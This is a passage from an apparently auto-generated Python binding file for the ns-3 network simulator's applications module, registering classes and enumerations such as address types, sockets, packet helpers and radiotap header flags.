module.add_class('ChannelList', import_from_module='ns.network')
## data-output-interface.h (module 'stats'): ns3::DataOutputCallback [class]
module.add_class('DataOutputCallback', allow_subclassing=True, import_from_module='ns.stats')
## data-rate.h (module 'network'): ns3::DataRate [class]
module.add_class('DataRate', import_from_module='ns.network')
## delay-jitter-estimation.h (module 'network'): ns3::DelayJitterEstimation [class]
module.add_class('DelayJitterEstimation', import_from_module='ns.network')
## event-id.h (module 'core'): ns3::EventId [class]
module.add_class('EventId', import_from_module='ns.core')
## hash.h (module 'core'): ns3::Hasher [class]
module.add_class('Hasher', import_from_module='ns.core')
## inet6-socket-address.h (module 'network'): ns3::Inet6SocketAddress [class]
module.add_class('Inet6SocketAddress', import_from_module='ns.network')
## inet6-socket-address.h (module 'network'): ns3::Inet6SocketAddress [class]
root_module['ns3::Inet6SocketAddress'].implicitly_converts_to(root_module['ns3::Address'])
## inet-socket-address.h (module 'network'): ns3::InetSocketAddress [class]
module.add_class('InetSocketAddress', import_from_module='ns.network')
## inet-socket-address.h (module 'network'): ns3::InetSocketAddress [class]
root_module['ns3::InetSocketAddress'].implicitly_converts_to(root_module['ns3::Address'])
## ipv4-address.h (module 'network'): ns3::Ipv4Address [class]
module.add_class('Ipv4Address', import_from_module='ns.network')
## ipv4-address.h (module 'network'): ns3::Ipv4Address [class]
root_module['ns3::Ipv4Address'].implicitly_converts_to(root_module['ns3::Address'])
## ipv4-address.h (module 'network'): ns3::Ipv4Mask [class]
module.add_class('Ipv4Mask', import_from_module='ns.network')
## ipv6-address.h (module 'network'): ns3::Ipv6Address [class]
module.add_class('Ipv6Address', import_from_module='ns.network')
## ipv6-address.h (module 'network'): ns3::Ipv6Address [class]
root_module['ns3::Ipv6Address'].implicitly_converts_to(root_module['ns3::Address'])
## ipv6-address.h (module 'network'): ns3::Ipv6Prefix [class]
module.add_class('Ipv6Prefix', import_from_module='ns.network')
## log.h (module 'core'): ns3::LogComponent [class]
module.add_class('LogComponent', import_from_module='ns.core')
## mac16-address.h (module 'network'): ns3::Mac16Address [class]
module.add_class('Mac16Address', import_from_module='ns.network')
## mac16-address.h (module 'network'): ns3::Mac16Address [class]
root_module['ns3::Mac16Address'].implicitly_converts_to(root_module['ns3::Address'])
## mac48-address.h (module 'network'): ns3::Mac48Address [class]
module.add_class('Mac48Address', import_from_module='ns.network')
## mac48-address.h (module 'network'): ns3::Mac48Address [class]
root_module['ns3::Mac48Address'].implicitly_converts_to(root_module['ns3::Address'])
## mac64-address.h (module 'network'): ns3::Mac64Address [class]
module.add_class('Mac64Address', import_from_module='ns.network')
## mac64-address.h (module 'network'): ns3::Mac64Address [class]
root_module['ns3::Mac64Address'].implicitly_converts_to(root_module['ns3::Address'])
## net-device-container.h (module 'network'): ns3::NetDeviceContainer [class]
module.add_class('NetDeviceContainer', import_from_module='ns.network')
## node-container.h (module 'network'): ns3::NodeContainer [class]
module.add_class('NodeContainer', import_from_module='ns.network')
## node-list.h (module 'network'): ns3::NodeList [class]
module.add_class('NodeList', import_from_module='ns.network')
## non-copyable.h (module 'core'): ns3::NonCopyable [class]
module.add_class('NonCopyable', destructor_visibility='protected', import_from_module='ns.core')
## object-base.h (module 'core'): ns3::ObjectBase [class]
module.add_class('ObjectBase', allow_subclassing=True, import_from_module='ns.core')
## object.h (module 'core'): ns3::ObjectDeleter [struct]
module.add_class('ObjectDeleter', import_from_module='ns.core')
## object-factory.h (module 'core'): ns3::ObjectFactory [class]
module.add_class('ObjectFactory', import_from_module='ns.core')
## on-off-helper.h (module 'applications'): ns3::OnOffHelper [class]
module.add_class('OnOffHelper')
## packet-loss-counter.h (module 'applications'): ns3::PacketLossCounter [class]
module.add_class('PacketLossCounter')
## packet-metadata.h (module 'network'): ns3::PacketMetadata [class]
module.add_class('PacketMetadata', import_from_module='ns.network')
## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item [struct]
module.add_class('Item', import_from_module='ns.network', outer_class=root_module['ns3::PacketMetadata'])
## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item [enumeration]
module.add_enum('', ['PAYLOAD', 'HEADER', 'TRAILER'], outer_class=root_module['ns3::PacketMetadata::Item'], import_from_module='ns.network')
## packet-metadata.h (module 'network'): ns3::PacketMetadata::ItemIterator [class]
module.add_class('ItemIterator', import_from_module='ns.network', outer_class=root_module['ns3::PacketMetadata'])
## packet-sink-helper.h (module 'applications'): ns3::PacketSinkHelper [class]
module.add_class('PacketSinkHelper')
## packet-socket-address.h (module 'network'): ns3::PacketSocketAddress [class]
module.add_class('PacketSocketAddress', import_from_module='ns.network')
## packet-socket-address.h (module 'network'): ns3::PacketSocketAddress [class]
root_module['ns3::PacketSocketAddress'].implicitly_converts_to(root_module['ns3::Address'])
## packet-socket-helper.h (module 'network'): ns3::PacketSocketHelper [class]
module.add_class('PacketSocketHelper', import_from_module='ns.network')
## packet.h (module 'network'): ns3::PacketTagIterator [class]
module.add_class('PacketTagIterator', import_from_module='ns.network')
## packet.h (module 'network'): ns3::PacketTagIterator::Item [class]
module.add_class('Item', import_from_module='ns.network', outer_class=root_module['ns3::PacketTagIterator'])
## packet-tag-list.h (module 'network'): ns3::PacketTagList [class]
module.add_class('PacketTagList', import_from_module='ns.network')
## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData [struct]
module.add_class('TagData', import_from_module='ns.network', outer_class=root_module['ns3::PacketTagList'])
## log.h (module 'core'): ns3::ParameterLogger [class]
module.add_class('ParameterLogger', import_from_module='ns.core')
## packetbb.h (module 'network'): ns3::PbbAddressTlvBlock [class]
module.add_class('PbbAddressTlvBlock', import_from_module='ns.network')
## packetbb.h (module 'network'): ns3::PbbTlvBlock [class]
module.add_class('PbbTlvBlock', import_from_module='ns.network')
## pcap-file.h (module 'network'): ns3::PcapFile [class]
module.add_class('PcapFile', import_from_module='ns.network')
## trace-helper.h (module 'network'): ns3::PcapHelper [class]
module.add_class('PcapHelper', import_from_module='ns.network')
## trace-helper.h (module 'network'): ns3::PcapHelper::DataLinkType [enumeration]
module.add_enum('DataLinkType', ['DLT_NULL', 'DLT_EN10MB', 'DLT_PPP', 'DLT_RAW', 'DLT_IEEE802_11', 'DLT_LINUX_SLL', 'DLT_PRISM_HEADER', 'DLT_IEEE802_11_RADIO', 'DLT_IEEE802_15_4', 'DLT_NETLINK'], outer_class=root_module['ns3::PcapHelper'], import_from_module='ns.network')
## trace-helper.h (module 'network'): ns3::PcapHelperForDevice [class]
module.add_class('PcapHelperForDevice', allow_subclassing=True, import_from_module='ns.network')
## simple-net-device-helper.h (module 'network'): ns3::SimpleNetDeviceHelper [class]
module.add_class('SimpleNetDeviceHelper', import_from_module='ns.network')
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter> [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::Object', 'ns3::ObjectBase', 'ns3::ObjectDeleter'], parent=root_module['ns3::ObjectBase'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## simulator.h (module 'core'): ns3::Simulator [class]
module.add_class('Simulator', destructor_visibility='private', import_from_module='ns.core')
## simulator.h (module 'core'): ns3::Simulator [enumeration]
module.add_enum('', ['NO_CONTEXT'], outer_class=root_module['ns3::Simulator'], import_from_module='ns.core')
## data-calculator.h (module 'stats'): ns3::StatisticalSummary [class]
module.add_class('StatisticalSummary', allow_subclassing=True, import_from_module='ns.stats')
## system-wall-clock-ms.h (module 'core'): ns3::SystemWallClockMs [class]
module.add_class('SystemWallClockMs', import_from_module='ns.core')
## tag.h (module 'network'): ns3::Tag [class]
module.add_class('Tag', import_from_module='ns.network', parent=root_module['ns3::ObjectBase'])
## tag-buffer.h (module 'network'): ns3::TagBuffer [class]
module.add_class('TagBuffer', import_from_module='ns.network')
## nstime.h (module 'core'): ns3::TimeWithUnit [class]
module.add_class('TimeWithUnit', import_from_module='ns.core')
## traced-value.h (module 'core'): ns3::TracedValue<unsigned int> [class]
module.add_class('TracedValue', import_from_module='ns.core', template_parameters=['unsigned int'])
## type-id.h (module 'core'): ns3::TypeId [class]
module.add_class('TypeId', import_from_module='ns.core')
## type-id.h (module 'core'): ns3::TypeId::AttributeFlag [enumeration]
module.add_enum('AttributeFlag', ['ATTR_GET', 'ATTR_SET', 'ATTR_CONSTRUCT', 'ATTR_SGC'], outer_class=root_module['ns3::TypeId'], import_from_module='ns.core')
## type-id.h (module 'core'): ns3::TypeId::SupportLevel [enumeration]
module.add_enum('SupportLevel', ['SUPPORTED', 'DEPRECATED', 'OBSOLETE'], outer_class=root_module['ns3::TypeId'], import_from_module='ns.core')
## type-id.h (module 'core'): ns3::TypeId::AttributeInformation [struct]
module.add_class('AttributeInformation', import_from_module='ns.core', outer_class=root_module['ns3::TypeId'])
## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation [struct]
module.add_class('TraceSourceInformation', import_from_module='ns.core', outer_class=root_module['ns3::TypeId'])
## udp-client-server-helper.h (module 'applications'): ns3::UdpClientHelper [class]
module.add_class('UdpClientHelper')
## udp-echo-helper.h (module 'applications'): ns3::UdpEchoClientHelper [class]
module.add_class('UdpEchoClientHelper')
## udp-echo-helper.h (module 'applications'): ns3::UdpEchoServerHelper [class]
module.add_class('UdpEchoServerHelper')
## udp-client-server-helper.h (module 'applications'): ns3::UdpServerHelper [class]
module.add_class('UdpServerHelper')
## udp-client-server-helper.h (module 'applications'): ns3::UdpTraceClientHelper [class]
module.add_class('UdpTraceClientHelper')
## empty.h (module 'core'): ns3::empty [class]
module.add_class('empty', import_from_module='ns.core')
## int64x64-double.h (module 'core'): ns3::int64x64_t [class]
module.add_class('int64x64_t', import_from_module='ns.core')
## int64x64-double.h (module 'core'): ns3::int64x64_t::impl_type [enumeration]
module.add_enum('impl_type', ['int128_impl', 'cairo_impl', 'ld_impl'], outer_class=root_module['ns3::int64x64_t'], import_from_module='ns.core')
## chunk.h (module 'network'): ns3::Chunk [class]
module.add_class('Chunk', import_from_module='ns.network', parent=root_module['ns3::ObjectBase'])
## packet-socket.h (module 'network'): ns3::DeviceNameTag [class]
module.add_class('DeviceNameTag', import_from_module='ns.network', parent=root_module['ns3::Tag'])
## flow-id-tag.h (module 'network'): ns3::FlowIdTag [class]
module.add_class('FlowIdTag', import_from_module='ns.network', parent=root_module['ns3::Tag'])
## header.h (module 'network'): ns3::Header [class]
module.add_class('Header', import_from_module='ns.network', parent=root_module['ns3::Chunk'])
## llc-snap-header.h (module 'network'): ns3::LlcSnapHeader [class]
module.add_class('LlcSnapHeader', import_from_module='ns.network', parent=root_module['ns3::Header'])
## object.h (module 'core'): ns3::Object [class]
module.add_class('Object', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter >'])
## object.h (module 'core'): ns3::Object::AggregateIterator [class]
module.add_class('AggregateIterator', import_from_module='ns.core', outer_class=root_module['ns3::Object'])
## packet-burst.h (module 'network'): ns3::PacketBurst [class]
module.add_class('PacketBurst', import_from_module='ns.network', parent=root_module['ns3::Object'])
## packet-socket.h (module 'network'): ns3::PacketSocketTag [class]
module.add_class('PacketSocketTag', import_from_module='ns.network', parent=root_module['ns3::Tag'])
## pcap-file-wrapper.h (module 'network'): ns3::PcapFileWrapper [class]
module.add_class('PcapFileWrapper', import_from_module='ns.network', parent=root_module['ns3::Object'])
## queue.h (module 'network'): ns3::QueueBase [class]
module.add_class('QueueBase', import_from_module='ns.network', parent=root_module['ns3::Object'])
## queue.h (module 'network'): ns3::QueueBase::QueueMode [enumeration]
module.add_enum('QueueMode', ['QUEUE_MODE_PACKETS', 'QUEUE_MODE_BYTES'], outer_class=root_module['ns3::QueueBase'], import_from_module='ns.network')
## queue-limits.h (module 'network'): ns3::QueueLimits [class]
module.add_class('QueueLimits', import_from_module='ns.network', parent=root_module['ns3::Object'])
## radiotap-header.h (module 'network'): ns3::RadiotapHeader [class]
module.add_class('RadiotapHeader', import_from_module='ns.network', parent=root_module['ns3::Header'])
## radiotap-header.h (module 'network'): ns3::RadiotapHeader::FrameFlag [enumeration]
module.add_enum('FrameFlag', ['FRAME_FLAG_NONE', 'FRAME_FLAG_CFP', 'FRAME_FLAG_SHORT_PREAMBLE', 'FRAME_FLAG_WEP', 'FRAME_FLAG_FRAGMENTED', 'FRAME_FLAG_FCS_INCLUDED', 'FRAME_FLAG_DATA_PADDING', 'FRAME_FLAG_BAD_FCS', 'FRAME_FLAG_SHORT_GUARD'], outer_class=root_module['ns3::RadiotapHeader'], import_from_module='ns.network')
## radiotap-header.h (module 'network'): ns3::RadiotapHeader::ChannelFlags [enumeration]
module.add_enum('ChannelFlags', ['CHANNEL_FLAG_NONE', 'CHANNEL_FLAG_TURBO', 'CHANNEL_FLAG_CCK', 'CHANNEL_FLAG_OFDM', 'CHANNEL_FLAG_SPECTRUM_2GHZ', 'CHANNEL_FLAG_SPECTRUM_5GHZ', 'CHANNEL_FLAG_PASSIVE', 'CHANNEL_FLAG_DYNAMIC', 'CHANNEL_FLAG_GFSK'], outer_class=root_module['ns3::RadiotapHeader'], import_from_module='ns.network')
## radiotap-header.h (module 'network'): ns3::RadiotapHeader::McsKnown [enumeration]
module.add_enum('McsKnown', ['MCS_KNOWN_NONE', 'MCS_KNOWN_BANDWIDTH', 'MCS_KNOWN_INDEX', 'MCS_KNOWN_GUARD_INTERVAL', 'MCS_KNOWN_HT_FORMAT', 'MCS_KNOWN_FEC_TYPE', 'MCS_KNOWN_STBC', 'MCS_KNOWN_NESS', 'MCS_KNOWN_NESS_BIT_1'], outer_class=root_module['ns3::RadiotapHeader'], import_from_module='ns.network')
## radiotap-header.h (module 'network'): ns3::RadiotapHeader::McsFlags [enumeration]
module.add_enum('McsFlags', ['MCS_FLAGS_NONE', 'MCS_FLAGS_BANDWIDTH_40', 'MCS_FLAGS_BANDWIDTH_20L', 'MCS_FLAGS_BANDWIDTH_20U', 'MCS_FLAGS_GUARD_INTERVAL', 'MCS_FLAGS_HT_GREENFIELD', 'MCS_FLAGS_FEC_TYPE', 'MCS_FLAGS_STBC_STREAMS', 'MCS_FLAGS_NESS_BIT_0'], outer_class=root_module['ns3::RadiotapHeader'], import_from_module='ns.network')
## radiotap-header.h (module 'network'): ns3::RadiotapHeader::AmpduFlags [enumeration]
module.add_enum('AmpduFlags', ['A_MPDU_STATUS_NONE', 'A_MPDU_STATUS_REPORT_ZERO_LENGTH', 'A_MPDU_STATUS_IS_ZERO_LENGTH', 'A_MPDU_STATUS_LAST_KNOWN', 'A_MPDU_STATUS_LAST', 'A_MPDU_STATUS_DELIMITER_CRC_ERROR', 'A_MPDU_STATUS_DELIMITER_CRC_KNOWN'], outer_class=root_module['ns3::RadiotapHeader'], import_from_module='ns.network')
## radiotap-header.h (module 'network'): ns3::RadiotapHeader::VhtKnown [enumeration]
module.add_enum('VhtKnown', ['VHT_KNOWN_NONE', 'VHT_KNOWN_STBC', 'VHT_KNOWN_TXOP_PS_NOT_ALLOWED', 'VHT_KNOWN_GUARD_INTERVAL', 'VHT_KNOWN_SHORT_GI_NSYM_DISAMBIGUATION', 'VHT_KNOWN_LDPC_EXTRA_OFDM_SYMBOL', 'VHT_KNOWN_BEAMFORMED', 'VHT_KNOWN_BANDWIDTH', 'VHT_KNOWN_GROUP_ID', 'VHT_KNOWN_PARTIAL_AID'], outer_class=root_module['ns3::RadiotapHeader'], import_from_module='ns.network')
## radiotap-header.h (module 'network'): ns3::RadiotapHeader::VhtFlags [enumeration]
module.add_enum('VhtFlags', ['VHT_FLAGS_NONE', 'VHT_FLAGS_STBC', 'VHT_FLAGS_TXOP_PS_NOT_ALLOWED', 'VHT_FLAGS_GUARD_INTERVAL', 'VHT_FLAGS_SHORT_GI_NSYM_DISAMBIGUATION', 'VHT_FLAGS_LDPC_EXTRA_OFDM_SYMBOL', 'VHT_FLAGS_BEAMFORMED'], outer_class=root_module['ns3::RadiotapHeader'], import_from_module='ns.network')
## random-variable-stream.h (module 'core'): ns3::RandomVariableStream [class]
module.add_class('RandomVariableStream', import_from_module='ns.core', parent=root_module['ns3::Object'])
## seq-ts-header.h (module 'applications'): ns3::SeqTsHeader [class]
module.add_class('SeqTsHeader', parent=root_module['ns3::Header'])
## random-variable-stream.h (module 'core'): ns3::SequentialRandomVariable [class]
module.add_class('SequentialRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream'])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> > [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::AttributeAccessor', 'ns3::empty', 'ns3::DefaultDeleter<ns3::AttributeAccessor>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> > [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::AttributeChecker', 'ns3::empty', 'ns3::DefaultDeleter<ns3::AttributeChecker>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> > [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::AttributeValue', 'ns3::empty', 'ns3::DefaultDeleter<ns3::AttributeValue>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> > [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::CallbackImplBase', 'ns3::empty', 'ns3::DefaultDeleter<ns3::CallbackImplBase>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> > [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::EventImpl', 'ns3::empty', 'ns3::DefaultDeleter<ns3::EventImpl>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> > [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::Hash::Implementation', 'ns3::empty', 'ns3::DefaultDeleter<ns3::Hash::Implementation>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::NetDeviceQueue, ns3::empty, ns3::DefaultDeleter<ns3::NetDeviceQueue> > [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::NetDeviceQueue', 'ns3::empty', 'ns3::DefaultDeleter<ns3::NetDeviceQueue>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> > [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::NixVector', 'ns3::empty', 'ns3::DefaultDeleter<ns3::NixVector>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> > [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::OutputStreamWrapper', 'ns3::empty', 'ns3::DefaultDeleter<ns3::OutputStreamWrapper>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> > [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::Packet', 'ns3::empty', 'ns3::DefaultDeleter<ns3::Packet>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::PbbAddressBlock, ns3::empty, ns3::DefaultDeleter<ns3::PbbAddressBlock> > [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::PbbAddressBlock', 'ns3::empty', 'ns3::DefaultDeleter<ns3::PbbAddressBlock>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::PbbMessage, ns3::empty, ns3::DefaultDeleter<ns3::PbbMessage> > [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::PbbMessage', 'ns3::empty', 'ns3::DefaultDeleter<ns3::PbbMessage>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::PbbPacket, ns3::Header, ns3::DefaultDeleter<ns3::PbbPacket> > [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::PbbPacket', 'ns3::Header', 'ns3::DefaultDeleter<ns3::PbbPacket>'], parent=root_module['ns3::Header'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::PbbTlv, ns3::empty, ns3::DefaultDeleter<ns3::PbbTlv> > [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::PbbTlv', 'ns3::empty', 'ns3::DefaultDeleter<ns3::PbbTlv>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::QueueItem, ns3::empty, ns3::DefaultDeleter<ns3::QueueItem> > [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::QueueItem', 'ns3::empty', 'ns3::DefaultDeleter<ns3::QueueItem>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> > [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::TraceSourceAccessor', 'ns3::empty', 'ns3::DefaultDeleter<ns3::TraceSourceAccessor>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## sll-header.h (module 'network'): ns3::SllHeader [class]
module.add_class('SllHeader', import_from_module='ns.network', parent=root_module['ns3::Header'])
## sll-header.h (module 'network'): ns3::SllHeader::PacketType [enumeration]
module.add_enum('PacketType', ['UNICAST_FROM_PEER_TO_ME', 'BROADCAST_BY_PEER', 'MULTICAST_BY_PEER', 'INTERCEPTED_PACKET', 'SENT_BY_US'], outer_class=root_module['ns3::SllHeader'], import_from_module='ns.network')
## socket.h (module 'network'): ns3::Socket [class]
module.add_class('Socket', import_from_module='ns.network', parent=root_module['ns3::Object'])
## socket.h (module 'network'): ns3::Socket::SocketErrno [enumeration]
module.add_enum('SocketErrno', ['ERROR_NOTERROR', 'ERROR_ISCONN', 'ERROR_NOTCONN', 'ERROR_MSGSIZE', 'ERROR_AGAIN', 'ERROR_SHUTDOWN', 'ERROR_OPNOTSUPP', 'ERROR_AFNOSUPPORT', 'ERROR_INVAL', 'ERROR_BADF', 'ERROR_NOROUTETOHOST', 'ERROR_NODEV', 'ERROR_ADDRNOTAVAIL', 'ERROR_ADDRINUSE', 'SOCKET_ERRNO_LAST'], outer_class=root_module['ns3::Socket'], import_from_module='ns.network')
## socket.h (module 'network'): ns3::Socket::SocketType [enumeration]
module.add_enum('SocketType', ['NS3_SOCK_STREAM', 'NS3_SOCK_SEQPACKET', 'NS3_SOCK_DGRAM', 'NS3_SOCK_RAW'], outer_class=root_module['ns3::Socket'], import_from_module='ns.network')
## socket.h (module 'network'): ns3::Socket::SocketPriority [enumeration]
module.add_enum('SocketPriority', ['NS3_PRIO_BESTEFFORT', 'NS3_PRIO_FILLER', 'NS3_PRIO_BULK', 'NS3_PRIO_INTERACTIVE_BULK', 'NS3_PRIO_INTERACTIVE', 'NS3_PRIO_CONTROL'], outer_class=root_module['ns3::Socket'], import_from_module='ns.network')
## socket.h (module 'network'): ns3::Socket::Ipv6MulticastFilterMode [enumeration]
module.add_enum('Ipv6MulticastFilterMode', ['INCLUDE', 'EXCLUDE'], outer_class=root_module['ns3::Socket'], import_from_module='ns.network')
## socket-factory.h (module 'network'): ns3::SocketFactory [class]
module.add_class('SocketFactory', import_from_module='ns.network', parent=root_module['ns3::Object'])
## socket.h (module 'network'): ns3::SocketIpTosTag [class]
module.add_class('SocketIpTosTag', import_from_module='ns.network', parent=root_module['ns3::Tag'])
## socket.h (module 'network'): ns3::SocketIpTtlTag [class]
module.add_class('SocketIpTtlTag', import_from_module='ns.network', parent=root_module['ns3::Tag'])
## socket.h (module 'network'): ns3::SocketIpv6HopLimitTag [class]
module.add_class('SocketIpv6HopLimitTag', import_from_module='ns.network', parent=root_module['ns3::Tag'])
## socket.h (module 'network'): ns3::SocketIpv6TclassTag [class]
module.add_class('SocketIpv6TclassTag', import_from_module='ns.network', parent=root_module['ns3::Tag'])
## socket.h (module 'network'): ns3::SocketPriorityTag [class]
module.add_class('SocketPriorityTag', import_from_module='ns.network', parent=root_module['ns3::Tag'])
## socket.h (module 'network'): ns3::SocketSetDontFragmentTag [class]
module.add_class('SocketSetDontFragmentTag', import_from_module='ns.network', parent=root_module['ns3::Tag'])
## nstime.h (module 'core'): ns3::Time [class]
module.add_class('Time', import_from_module='ns.core')
## nstime.h (module 'core'): ns3::Time::Unit [enumeration]
module.add_enum('Unit', ['Y', 'D', 'H', 'MIN', 'S', 'MS', 'US', 'NS', 'PS', 'FS', 'LAST'], outer_class=root_module['ns3::Time'], import_from_module='ns.core')
## nstime.h (module 'core'): ns3::Time [class]
root_module['ns3::Time'].implicitly_converts_to(root_module['ns3::int64x64_t'])
## trace-source-accessor.h (module 'core'): ns3::TraceSourceAccessor [class]
module.add_class('TraceSourceAccessor', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> >'])
## trailer.h (module 'network'): ns3::Trailer [class]
module.add_class('Trailer', import_from_module='ns.network', parent=root_module['ns3::Chunk'])
## random-variable-stream.h (module 'core'): ns3::TriangularRandomVariable [class]
module.add_class('TriangularRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream'])
## random-variable-stream.h (module 'core'): ns3::UniformRandomVariable [class]
module.add_class('UniformRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream'])
## random-variable-stream.h (module 'core'): ns3::WeibullRandomVariable [class]
module.add_class('WeibullRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream'])
## random-variable-stream.h (module 'core'): ns3::ZetaRandomVariable [class]
module.add_class('ZetaRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream'])
## random-variable-stream.h (module 'core'): ns3::ZipfRandomVariable [class]
module.add_class('ZipfRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream'])
## application.h (module 'network'): ns3::Application [class]
module.add_class('Application', import_from_module='ns.network', parent=root_module['ns3::Object'])
## attribute.h (module 'core'): ns3::AttributeAccessor [class]
module.add_class('AttributeAccessor', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> >'])
## attribute.h (module 'core'): ns3::AttributeChecker [class]
